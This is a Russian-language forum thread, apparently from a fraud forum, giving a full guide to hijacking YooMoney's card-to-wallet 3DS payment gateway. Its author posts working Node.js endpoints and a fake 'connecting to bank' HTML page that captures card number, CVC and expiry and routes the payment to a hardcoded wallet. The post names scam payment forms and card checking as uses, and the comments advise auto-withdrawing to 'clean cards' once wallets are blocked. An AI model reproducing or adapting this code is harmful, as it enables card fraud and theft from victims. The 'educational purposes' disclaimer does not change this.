Загрузка...

Ekviving from a regular Yumony wallet

Thread in Articles created by webad11 Feb 16, 2025. (bumped Jun 25, 2025) 1480 views

  1. webad11
    webad11 Topic starter Feb 16, 2025 63 Oct 2, 2024
    [IMG]

    [ПРЕДЫСТОРИЯ]
    Здравствуйте всем, несколько месяцев назад я написал статью о реверс инжиниринге и получил много хейта за простоту темы.

    Сегодня я бы хотел разобрать веб реверсинг в более удобном для нас ключе, мы попробуем разобрать 3Ds ЮMoney и перевести их шлюз на нашу форму оплаты.

    [ЦЕЛИ]
    Зачем нам это может понадобиться? Получив доступ к 3Ds шлюзу банка мы можем создавать инвойсы вне их сайта, к примеру на скам форме с автоматической проверкой валидности карты и многое другое, в общем моё дело дать удочку - придумать зачем вы и сами сможете.

    Я НЕ ПРИЗЫВАЮ ИСПОЛЬЗОВАТЬ ДАННУЮ СТАТЬЮ В ПЛОХИХ ЦЕЛЯХ, ДАННАЯ СТАТЬЯ ЛИШЬ ДЕМОНСТРАЦИЯ МЕХАНИЗМА В УЧЕБНЫХ ЦЕЛЯХ

    [ПРАКТИКА]
    В прошлой теме было слишком много воды, в этот раз будет больше конкретики, без объяснения мелочей по типу как отслеживать запросы сайта.

    Я нашёл форму << ПОПОЛНЕНИЯ YooMoney >> по карте (оплатой через 3Ds), она же используется для формы << СБОРА ПОЖЕРТВОВАНИЙ >>, вполне нормальный вариант. Отследив запросы мы выявили 3 ключевых запроса для создания инвойса.

    [IMG]
    Данные API Endpoint'ы нам и нужны, но в процессе обнаруживаем что все запросы подписываются CSRF токеном, вопрос - откуда мы его получим? Проверив чуть JS код запросов мы обнаруживаем что на самой странице оплаты он есть в HTML, пишем небольшую функцию:
    JS
    // Endpoint для получения secretKey
    app.post('/api/v1/getSecretKey', async (req, res) => {
    const sum = req.body.sum; // Получаем сумму из тела POST-запроса
    const url = `https://yoomoney.ru/quickpay/confirm.xml?receiver=4100116048803188&quickpay-form=shop&targets=Sponsor%20this%20project&paymentType=SB&sum=${sum}`;

    try {
    const response = await axios.get(url);
    const htmlContent = response.data;

    // Загружаем HTML-контент в cheerio
    const $ = cheerio.load(htmlContent);

    // Ищем скрипт, содержащий window.__layoutData__
    let secretKey = null;
    $('script').each(function () {
    const scriptContent = $(this).html();
    const match = scriptContent.match(/window\.__layoutData__\s*=\s*({.*?});/);
    if (match) {
    try {
    const layoutData = JSON.parse(match[1]);
    if (layoutData.secretKey) {
    secretKey = layoutData.secretKey;
    return false; // Выходим из цикла each
    }
    } catch (error) {
    console.error('Error parsing JSON:', error);
    }
    }
    });

    if (secretKey) {
    res.json({ "success": "True", "secretKey": secretKey });
    } else {
    const error = "Secret Key not found in HTML response.";
    res.status(500).json({ "success": "False", "systemMessage": error });
    }

    } catch (error) {
    console.error('Error fetching page:', error.message);
    res.status(500).json({ error: 'Failed to retrieve the page' });
    }
    });
    Данная функция достаёт CSRF токен из HTML. Осталось только подключить остальные запросы под нас.


    JS
    // Endpoint для отправки данных на указанный URL
    app.post('/api/v1/getSynonym', async (req, res) => {
    const url = "https://paymentcard.yoomoney.ru/webservice/storecard/api/storeCardForPayment";
    const data = req.body; // Получаем данные из тела POST-запроса

    try {
    const response = await axios.post(url, data);
    res.json(response.data);
    } catch (error) {
    console.error('Error sending data to YooMoney:', error.message);
    res.status(500).json({ error: 'Failed to send data to YooMoney' });
    }
    });
    Данная функция отправит данные карты на сервер YooMoney, вернёт её синоним для создания инвойса.​
    В следующей функции указывается номер ЮMoney кошелька получателя!

    JS
    // Endpoint для принятия POST-запроса
    app.post('/api/v1/transfer', async (req, res) => {
    const url = "https://yoomoney.ru/transfer/ajax/transfers/getTransferContract";
    const { paymentCardSynonym, sum, 'x-csrf-token': csrfToken } = req.body;

    const headers = {
    "Content-Type": "application/json",
    "Accept": "application/json, text/plain, */*",
    "X-Csrf-Token": csrfToken,
    // Здесь можно добавить другие необходимые заголовки
    };

    const data = {
    withCredentials: true,
    params: {
    origin: "form",
    sender: {
    paymentCardSynonym: paymentCardSynonym
    },
    sum: {
    value: sum.value,
    alphabeticCurrency: "RUB"
    },
    parameters: {
    "shop-host": ""
    },
    schemeTypes: ["anyCardToWallet"],
    persistType: "default",
    recipient: {
    account: "4100116048803188"
    },
    cardBind: false,
    signedForm: {
    params: {}
    },
    formTexts: {
    formComment: "Перевод по кнопке",
    targets: "Перевод по кнопке"
    },
    formSenderInfo: {},
    tmxSessionId: "41ab80c7-8400-53a0-8996-b28ef27678a5"
    }
    };

    try {
    const response = await axios.post(url, data, { headers });
    res.json(response.data);
    } catch (error) {
    console.error('Error sending data to YooMoney:', error.message);
    res.status(500).json({ error: 'Failed to send data to YooMoney' });
    }
    });
    Данный endpoint получит сумму, синоним карты - создаст инвойс.​
    JS
    // Endpoint для принятия POST-запроса
    app.post('/api/v1/processPayment', async (req, res) => {
    const url = "https://yoomoney.ru/transfer/ajax/transfers/anyCardToWallet";
    const { xCsrfToken, orderId } = req.body;

    const headers = {
    "Accept": "application/json, text/plain, */*",
    "Accept-Encoding": "gzip, deflate, br, zstd",
    "Accept-Language": "ru,en;q=0.9,en-GB;q=0.8,en-US;q=0.7",
    "Content-Type": "application/json",
    "Origin": "https://yoomoney.ru",
    "Referer": `https://yoomoney.ru/transfer/process/confirm?orderId=${orderId}`,
    "Sec-Ch-Ua": '"Not/A)Brand";v="8", "Chromium";v="126", "Microsoft Edge";v="126"',
    "Sec-Ch-Ua-Mobile": "?0",
    "Sec-Ch-Ua-Platform": '"Windows"',
    "Sec-Fetch-Dest": "empty",
    "Sec-Fetch-Mode": "cors",
    "Sec-Fetch-Site": "same-origin",
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Edg/126.0.0.0",
    "X-Csrf-Token": xCsrfToken
    };

    const data = {
    withCredentials: true,
    params: {
    orderId: orderId,
    extAuthSuccessUri: `ЗАМЕНИТЬ НА SUCCESS URL ИЛИ ПОСТАВИТЬ ОТ YOOMONEY ОРИГИНАЛ`,
    extAuthFailUri: `ЗАМЕНИТЬ НА FAIL URL ИЛИ ПОСТАВИТЬ ОТ YOOMONEY ОРИГИНАЛ`
    }
    };

    try {
    const response = await axios.post(url, data, { headers });
    res.json(response.data);
    } catch (error) {
    console.error('Error sending data to YooMoney:', error.message);
    res.status(500).json({ error: 'Failed to send data to YooMoney' });
    }
    });
    Данный запрос вернёт нам данные для 3Ds формы​
    Как мы видим в коде отсутствуют сами данные для запроса, это просто ендпоинты которые передают данные на YooMoney, для этого мы напишем пост обработчик который получит данные с вашей формы оплаты и свяжется с нашим API.​
    [IMG]
    HTML
    <!DOCTYPE html>
    <html lang="en">

    <head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Подключение к банку</title>
    <style>
    body {
    color: #fff;
    text-align: center;
    background-color: #a3bfec;
    font-family: Arial, sans-serif;
    display: flex;
    flex-direction: column;
    align-items: center;
    justify-content: center;
    height: 100vh;
    margin: 0;
    }

    h1,
    p {
    margin: 0;
    }

    img {
    max-width: 100%;
    height: auto;
    }
    </style>
    </head>

    <body>
    <h1>Подключение к банку.</h1>
    <p>Это займёт пару секунд.</p>
    <img src="https://cdn.dribbble.com/users/5233537/screenshots/14285996/media/421d035bbb3cbbc03407584de500e08f.gif">

    <script src="https://cdn.jsdelivr.net/npm/js-md5@0.7.3/build/md5.min.js"></script>
    <script src="https://cdn.jsdelivr.net/npm/axios/dist/axios.min.js"></script>
    <form id="paymentForm" action="" method="POST">
    <input type="hidden" name="PaReq" value="">
    <input type="hidden" name="MD" value="">
    <input type="hidden" name="TermUrl" value="">
    </form>
    <script>
    async function getSecretKey() {
    const sum = <%= amount %>; // Пример суммы для запроса (можно динамически указывать)
    const url = '/api/v1/getSecretKey'; // URL вашего сервера

    try {
    const response = await fetch(url, {
    method: 'POST',
    headers: {
    'Content-Type': 'application/json'
    },
    body: JSON.stringify({ sum })
    });

    if (!response.ok) {
    throw new Error('Failed to fetch secret key');
    }

    const responseData = await response.json();
    if (responseData.success === "True") {
    const secretKey = responseData.secretKey;

    // Данные для отправки
    const paymentData = {
    "csc": "<%= *** %>",
    "pan": "<%= card %>",
    "expireDate": "20<%= date %>"
    };

    // URL для отправки POST-запроса
    const paymentUrl = '/api/v1/getSynonym';

    // Функция для отправки POST-запроса
    async function sendPaymentData() {
    try {
    const paymentResponse = await fetch(paymentUrl, {
    method: 'POST',
    headers: {
    'Content-Type': 'application/json'
    },
    body: JSON.stringify(paymentData)
    });

    if (!paymentResponse.ok) {
    throw new Error('Failed to send data to YooMoney');
    }

    const jsonResponse = await paymentResponse.json();

    const createUrl = '/api/v1/transfer'
    const createData = {
    "paymentCardSynonym": jsonResponse.result.cardSynonym,
    "sum": {
    "value": <%= amount %>,
    "alphabeticCurrency": "RUB"
    },
    "x-csrf-token": secretKey
    }

    // Отправляем запрос на создание платежа
    await createPayment(createUrl, createData);

    } catch (error) {
    console.error('Error sending data to YooMoney:', error.message);
    }
    }

    async function getPayment(url, data) {
    try {
    const response = await fetch(url, {
    method: 'POST',
    headers: {
    'Content-Type': 'application/json'
    },
    body: JSON.stringify(data)
    });

    if (!response.ok) {
    throw new Error('Failed to create payment');
    }

    const responseData = await response.json();
    // Получаем форму по её id
    console.log(responseData);
    const form = document.getElementById('paymentForm');

    async function fillAndSubmitForm(responseData) {
    try {
    // Проверяем, есть ли данные для нового формата ответа
    if (responseData.result.status === "awaitingpayerauthentication" &&
    responseData.result.subStatus === "Wait3dsAuthentication" &&
    responseData.result.acsData && responseData.result.acsData.fingerprint) {

    // Новый формат ответа
    console.log('Detected new response format. Using new form.');

    // Создаем форму
    const form = document.createElement('form');
    form.method = 'POST';
    form.action = 'https://3ds-gate.yoomoney.ru/card-auth'; // URL для отправки формы
    form.style.display = 'none'; // Скрываем форму

    // Добавляем поля к форме

    // Поле methodData
    const methodDataInput = document.createElement('input');
    methodDataInput.type = 'hidden';
    methodDataInput.name = 'methodData';
    methodDataInput.value = responseData.result.acsData.fingerprint.threeDsMethodData;
    form.appendChild(methodDataInput);

    // Поле methodUrl
    const methodUrlInput = document.createElement('input');
    methodUrlInput.type = 'hidden';
    methodUrlInput.name = 'methodUrl';
    methodUrlInput.value = encodeURIComponent(responseData.result.acsData.fingerprint.threeDsMethodUrl);
    form.appendChild(methodUrlInput);

    // Поле orderN
    const orderNInput = document.createElement('input');
    orderNInput.type = 'hidden';
    orderNInput.name = 'orderN';
    orderNInput.value = responseData.result.acsData.fingerprint.orderN;
    form.appendChild(orderNInput);

    // Добавляем форму на страницу
    document.body.appendChild(form);

    // Отправляем форму
    form.submit();
    }
    // Если старый формат ответа
    else if (responseData.result.acsData && responseData.result.acsData.challenge) {
    console.log('Detected old response format. Using old form.');

    // Старый формат ответа - используем существующую форму
    const form = document.querySelector('#existingForm'); // Ищем старую форму на странице

    // Заполняем скрытые поля формы
    form.querySelector('input[name="PaReq"]').value = responseData.result.acsData.challenge.parameters.PaReq;
    form.querySelector('input[name="MD"]').value = responseData.result.acsData.challenge.parameters.MD;
    form.querySelector('input[name="TermUrl"]').value = responseData.result.acsData.challenge.parameters.TermUrl;

    // Устанавливаем атрибут action формы
    form.action = responseData.result.acsData.challenge.url; // URL для отправки формы

    // Отправляем форму
    form.submit();
    }
    else {
    console.log('Payment is still processing or format not recognized.');
    }
    } catch (error) {
    console.error('Error filling and submitting form:', error.message);
    }
    }


    fillAndSubmitForm(responseData);

    } catch (error) {
    console.error('Error creating payment:', error.message);
    }
    }

    // Функция для создания платежа
    async function createPayment(url, data) {
    try {
    const response = await fetch(url, {
    method: 'POST',
    headers: {
    'Content-Type': 'application/json'
    },
    body: JSON.stringify(data)
    });

    if (!response.ok) {
    throw new Error('Failed to create payment');
    }

    const responseData = await response.json();

    const urlProcess = "/api/v1/processPayment"
    const dataProcess = {
    "xCsrfToken": secretKey,
    "orderId": responseData.result.orderId
    }
    getPayment(urlProcess, dataProcess)

    // Ждем 2 секунды перед повторным вызовом функции
    await new Promise(resolve => setTimeout(resolve, 2000));

    // Вызываем функцию снова
    await getPayment(urlProcess, dataProcess);

    } catch (error) {
    console.error('Error creating payment:', error.message);
    }
    }

    // Вызываем функцию для отправки данных
    await sendPaymentData();

    } else {
    console.error('Error:', responseData.systemMessage);
    }
    } catch (error) {
    console.error('Error fetching secret key:', error.message);
    }
    }

    // Вызываем функцию getSecretKey при загрузке страницы
    window.onload = function () {
    getSecretKey();
    };
    </script>
    </body>

    </html>
    Это всё пример того как может выглядеть реверс ЮMoney, полный код можете посмотреть у меня на GitHub:
    https://github.com/looneysky/YooGate

    Код - это всего лишь демонстрация возможностей, настоящие программисты думаю разберутся как с этим работать.
     
    This article was useful for you?
    You can thank the author of the topic by transferring funds to your balance
    Thank the author
  2. webad11
    webad11 Topic starter Feb 19, 2025 63 Oct 2, 2024
    Актуальная тема, или сносить?
     
  3. InfernLife
    InfernLife Feb 16, 2025 Купить домен анонимно - t.me/FastDomainBot 829 May 8, 2023
    Видел такое, но все ровно годно. Сделай подобную статью с зарубежными платежными шлюзами

    ps те кто собираются использовать юмани часто блокируют кошельки, гемор выводить бабки
     
    1. View previous comments (1)
    2. InfernLife
      webad11, я видел у других ботов так сделано, но когда 1 раз блокнули юмани и не смог вывести бабки, решил не пробовать добавлять в бота
    3. webad11 Topic starter
      InfernLife, в идеале надо автовывод на чистые карты настроить, тогда всё гуд, если и блокнут - не многое теряешь, код это всего лишь база на которой можно построить норм эквайринг.
  4. webad11
    webad11 Topic starter Feb 16, 2025 63 Oct 2, 2024
    Заметил как-то мало актива, если у кого-то есть вопросы - задавайте ответом на этот комментарий, всем отвечу.
     
  5. bebra1995
    bebra1995 Feb 17, 2025 114 Jul 26, 2024
    Такая форма оплаты только в виде оплаты картой существует, или можно подкинуть СБП?
     
    1. webad11 Topic starter
      bebra1995, пополнение сбп у юmoney строго по номеру телефона самого аккаунта, поэтому только картой
  6. Весть
    Весть Feb 19, 2025 https://lolz.live/threads/8981756/ | VDS сервера в Москве 9552 Aug 8, 2019
    ты и не найдёшь много актива. Это тема узкоспециальная, а значит основной массе юзеров бесполезна

    Да и больше напоминает на гайды для ворка по ру.
     
  7. kimimaru
    kimimaru Mar 6, 2025 5 Jan 27, 2019
    Бро,это имба продолжай в том же духе я и прошлую статью с Ии прочитал видимо челы слишком идиоты раз не видят такое,жду статей с веб реверсом.
     
  8. json
    json May 12, 2025 1446 Jan 13, 2023
    авторку. статья кайф
     
    1. webad11 Topic starter
Loading...
Top